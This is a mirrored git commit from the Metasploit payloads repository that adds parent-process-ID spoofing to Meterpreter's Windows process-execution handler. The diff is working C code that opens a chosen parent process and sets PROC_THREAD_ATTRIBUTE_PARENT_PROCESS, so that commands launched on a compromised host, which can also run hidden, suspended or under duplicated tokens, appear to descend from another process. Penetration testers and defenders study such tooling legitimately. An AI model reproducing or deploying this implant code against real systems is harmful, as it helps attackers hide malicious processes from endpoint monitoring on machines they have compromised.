1
mirror of https://github.com/rapid7/metasploit-payloads synced 2024-11-26 17:41:08 +01:00

Land #374, Add support for PPID spoofing

Merge branch 'land-374' into upstream-master
This commit is contained in:
bwatters 2020-01-22 14:59:45 -06:00
commit ba93a05959
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268

View File

@ -8,6 +8,30 @@
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNCREATEENVIRONMENTBLOCK)( LPVOID *lpEnvironment, HANDLE hToken, BOOL bInherit );
typedef BOOL (STDMETHODCALLTYPE FAR * LPFNDESTROYENVIRONMENTBLOCK) ( LPVOID lpEnvironment );
typedef BOOL (WINAPI * LPCREATEPROCESSWITHTOKENW)( HANDLE, DWORD, LPCWSTR, LPWSTR, DWORD, LPVOID, LPCWSTR, LPSTARTUPINFOW, LPPROCESS_INFORMATION );
typedef BOOL (WINAPI * UPDATEPROCTHREADATTRIBUTE) (
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
DWORD dwFlags,
DWORD_PTR Attribute,
PVOID lpValue,
SIZE_T cbSize,
PVOID lpPreviousValue,
PSIZE_T lpReturnSize
);
typedef BOOL (WINAPI* INITIALIZEPROCTHREADATTRIBUTELIST) (
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList,
DWORD dwAttributeCount,
DWORD dwFlags,
PSIZE_T lpSize
);
typedef struct _STARTUPINFOEXA
{
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000;
/*
* Attaches to the supplied process identifier. If no process identifier is
@ -24,7 +48,7 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet)
// Get the process identifier that we're attaching to, if any.
pid = packet_get_tlv_value_uint(packet, TLV_TYPE_PID);
dprintf("[attach]: pid %d", pid);
// No pid? Use current.
if (!pid)
handle = GetCurrentProcess();
@ -35,6 +59,7 @@ DWORD request_sys_process_attach(Remote *remote, Packet *packet)
DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS);
handle = OpenProcess(permission, inherit, pid);
dprintf("[attach] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", pid, permission, handle, GetLastError());
}
// If we have a handle, add it to the response
@ -91,10 +116,10 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
Tlv inMemoryData;
BOOL doInMemory = FALSE;
PROCESS_INFORMATION pi;
STARTUPINFO si;
STARTUPINFOEXA si;
HANDLE in[2], out[2];
PCHAR path, arguments, commandLine = NULL;
DWORD flags = 0, createFlags = 0;
DWORD flags = 0, createFlags = 0, ppid = 0;
BOOL inherit = FALSE;
HANDLE token, pToken;
char * cpDesktop = NULL;
@ -109,9 +134,10 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
// Initialize the startup information
memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
memset( &si, 0, sizeof(STARTUPINFO) );
memset( &si, 0, sizeof(STARTUPINFOEXA) );
si.cb = sizeof(STARTUPINFO);
si.StartupInfo.cb = sizeof(STARTUPINFO);
si.lpAttributeList = NULL;
// Initialize pipe handles
in[0] = NULL;
@ -131,6 +157,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS);
path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH);
flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS);
ppid = packet_get_tlv_value_uint(packet, TLV_TYPE_PARENT_PID);
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS)
{
@ -154,7 +181,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
lock_release(remote->lock);
si.lpDesktop = cpDesktop;
si.StartupInfo.lpDesktop = cpDesktop;
} while (0);
}
@ -232,10 +259,10 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
}
// Initialize the startup info to use the pipe handles
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdInput = in[0];
si.hStdOutput = out[1];
si.hStdError = out[1];
si.StartupInfo.dwFlags |= STARTF_USESTDHANDLES;
si.StartupInfo.hStdInput = in[0];
si.StartupInfo.hStdOutput = out[1];
si.StartupInfo.hStdError = out[1];
inherit = TRUE;
createFlags |= CREATE_NEW_CONSOLE;
@ -251,8 +278,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
// If the hidden flag is set, create the process hidden
if (flags & PROCESS_EXECUTE_FLAG_HIDDEN)
{
si.dwFlags |= STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
si.StartupInfo.dwFlags |= STARTF_USESHOWWINDOW;
si.StartupInfo.wShowWindow = SW_HIDE;
createFlags |= CREATE_NO_WINDOW;
}
@ -260,6 +287,52 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
if (flags & PROCESS_EXECUTE_FLAG_SUSPENDED)
createFlags |= CREATE_SUSPENDED;
// Set Parent PID if provided
if (ppid) {
dprintf("[execute] PPID spoofing\n");
HMODULE hKernel32Lib = LoadLibrary("kernel32.dll");
INITIALIZEPROCTHREADATTRIBUTELIST InitializeProcThreadAttributeList = (INITIALIZEPROCTHREADATTRIBUTELIST)GetProcAddress(hKernel32Lib, "InitializeProcThreadAttributeList");
UPDATEPROCTHREADATTRIBUTE UpdateProcThreadAttribute = (UPDATEPROCTHREADATTRIBUTE)GetProcAddress(hKernel32Lib, "UpdateProcThreadAttribute");
BOOLEAN inherit = packet_get_tlv_value_bool(packet, TLV_TYPE_INHERIT);
DWORD permission = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_PERMS);
HANDLE handle = OpenProcess(permission, inherit, ppid);
dprintf("[execute] OpenProcess: opened process %d with permission %d: 0x%p [%d]\n", ppid, permission, handle, GetLastError());
if (
handle &&
hKernel32Lib &&
InitializeProcThreadAttributeList &&
UpdateProcThreadAttribute
) {
size_t len = 0;
InitializeProcThreadAttributeList(NULL, 1, 0, &len);
si.lpAttributeList = malloc(len);
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &len)) {
printf("[execute] InitializeProcThreadAttributeList: [%d]\n", GetLastError());
result = GetLastError();
break;
}
dprintf("[execute] InitializeProcThreadAttributeList\n");
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &handle, sizeof(HANDLE), 0, 0)) {
printf("[execute] UpdateProcThreadAttribute: [%d]\n", GetLastError());
result = GetLastError();
break;
}
dprintf("[execute] UpdateProcThreadAttribute\n");
createFlags |= EXTENDED_STARTUPINFO_PRESENT;
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
FreeLibrary(hKernel32Lib);
}
else {
result = GetLastError();
break;
}
}
if (flags & PROCESS_EXECUTE_FLAG_USE_THREAD_TOKEN)
{
// If there is an impersonated token stored, use that one first, otherwise
@ -304,7 +377,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
}
// Try to execute the process with duplicated token
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, &si, &pi))
if (!CreateProcessAsUser(pToken, NULL, commandLine, NULL, NULL, inherit, createFlags, pEnvironment, NULL, (STARTUPINFOA*)&si, &pi))
{
LPCREATEPROCESSWITHTOKENW pCreateProcessWithTokenW = NULL;
HANDLE hAdvapi32 = NULL;
@ -342,14 +415,14 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
wcmdline = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
mbstowcs(wcmdline, commandLine, size);
if (si.lpDesktop)
if (si.StartupInfo.lpDesktop)
{
size = mbstowcs(NULL, (char *)si.lpDesktop, 0);
size = mbstowcs(NULL, (char *)si.StartupInfo.lpDesktop, 0);
if (size != (size_t)-1)
{
wdesktop = (wchar_t *)malloc((size + 1) * sizeof(wchar_t));
mbstowcs(wdesktop, (char *)si.lpDesktop, size);
si.lpDesktop = (LPSTR)wdesktop;
mbstowcs(wdesktop, (char *)si.StartupInfo.lpDesktop, size);
si.StartupInfo.lpDesktop = (LPSTR)wdesktop;
}
}
@ -407,7 +480,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
if (session_id(GetCurrentProcessId()) == session || !hWtsapi32)
{
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
{
BREAK_ON_ERROR("[PROCESS] execute in self session: CreateProcess failed");
}
@ -425,7 +498,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
BREAK_ON_ERROR("[PROCESS] execute in session: WTSQueryUserToken failed");
}
if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
if (!CreateProcessAsUser(hToken, NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
{
BREAK_ON_ERROR("[PROCESS] execute in session: CreateProcessAsUser failed");
}
@ -453,7 +526,7 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
else
{
// Try to execute the process
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, &si, &pi))
if (!CreateProcess(NULL, commandLine, NULL, NULL, inherit, createFlags, NULL, NULL, (STARTUPINFOA*)&si, &pi))
{
result = GetLastError();
break;
@ -531,6 +604,11 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
free(cpDesktop);
}
if (si.lpAttributeList)
{
free(si.lpAttributeList);
}
packet_transmit_response(result, remote, response);
return ERROR_SUCCESS;